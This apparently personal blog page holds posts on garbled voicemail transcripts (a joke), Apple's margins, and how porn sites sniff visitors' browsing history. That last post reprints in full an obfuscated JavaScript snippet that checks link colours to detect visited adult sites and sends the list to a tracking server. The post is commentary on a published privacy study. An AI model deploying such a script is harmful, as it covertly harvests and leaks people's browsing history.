Ron Diver

Recent voicemails as transcribed by Google Voice. Thanks, Google.

At first she was all:

I am driving around with France and screaming about, and I couldn’t figure out there was plus. I got on didn’t have a turnaround, so I’m kind of way out middle of knowing that ten You know, a hair I, whether it didn’t matter. I was just let me know you know So I’ll get that when I get there.

But then:

I’m in Houston and on the plane, a, at the best. Anderson, I, C. L. And so, and I’ll have someone and they had you cuban sandwich from The at all. So what’s really good Greek. A lot. I will be a lot in the next few days. Hope you’re well.

So I’m like:

Thanks, hey hon, it’s raining. I’m. Not. By left me. The campsite. I was just trying to get units opened up, but I will talk sounds like.

Thanks to Ian Sefferman for the inspiration.

Are sites tagging you “Purple” based on your browser cookies?

If you can stand the torture of reading Forbes.com, their article on how porn sites sniff users history is worth a read. The piece follows up on an earlier academic study on information flows in the adult-entertainment industry (gaming, sports, porn, etc). [Available here in PDF format].

The nut is a script they use to harvest your cookies:

<script type=”text/javascript”>
function ypol(){var k={0:”qpsoivc/dpn”,1:”sfeuvcf/dpn”,2:”bevmugsjfoegjoefs/dpn”,3:
“ywjefpt/dpn”,4:”uvcf9/dpn”,5:”yoyy/dpn”,6:”nfhbqpso/dpn”,7:”nfhbspujd/dpn”,8:
“yibntufs/dpn”,9:”bxfnqjsf/dpn”,10:”sfbmjuzljoht/dpn”,11:”csb{{fst/dpn”,12:
“yuvcf/dpn”,13:”cbohcspt2/dpn”,14:”gmjoh/dpn”,15:”gsffpoft/dpn”,16:
“nzgsffqbztjuf/dpn”,17:”efcpobjscmph/dpn”,18:”qbztfswf/dpn”,19:”nbyqpso/dpn”,20:
“wjefpt{/dpn”,21:”bfco/ofu”,22:”qpsopsbnb/dpn”};var g=[];for(var m in k)
{var d=k[m];var a=”";for(var f=0;f<d.length;f++)
{a+=String.fromCharCode(d.charCodeAt(f)-1)}var h=false;for(var j in
{“http://”:”",”http://www.”:”"}){var l=document.createElement(“a”);
l.href=j+a;document.getElementById(“ol”).appendChild(l);var e=”";
if(navigator.appName.indexOf(“Microsoft”)!=-1){e=l.currentStyle.color}
else{e=document.defaultView.getComputedStyle(l,null).getPropertyValue(“color”)}
if(e==”rgb(12, 34, 56)”||e==”rgb(12,34,56)”){h=true}}if(h){g.push(m)}}
var b=(g instanceof Array)?g.join(“,”):”";var c=document.createElement(“img”);
c.src=”http://ol.youporn.com/blank.gif?id=”+b;
document.getElementById(“ol”).appendChild(c)}ypol();
</script>

The strings referenced are -1 in alphabetical sequence… so “qpsoivc/dpn”, for example, becomes “pornhub.com.”

Billy May’s concept for the Seabird is lovely. If you’re really pressed for time jump to 1:16.

Details on the Open Web Phone Project available on their blog.

When will Apple need to cut margins to fuel growth?

Asymco highlights yet again the incredible yields Apple has been able to squeeze through innovation.  The gist of the article is that rapid growth in highly competitive markets is only possible if you eat into pricing and margins.  Apple has not (and probably will not) cut margins, ergo the market is not highly competitive.

Over a recent four-year period, Apple spent $4.6 billion on R&D while growing revenue from $25B to $43B. Microsoft spent 6+ times as much on R&D, and it’s not like they’re minting a bunch of new billion dollar businesses. (source) That’s crazy awesome capital efficiency.

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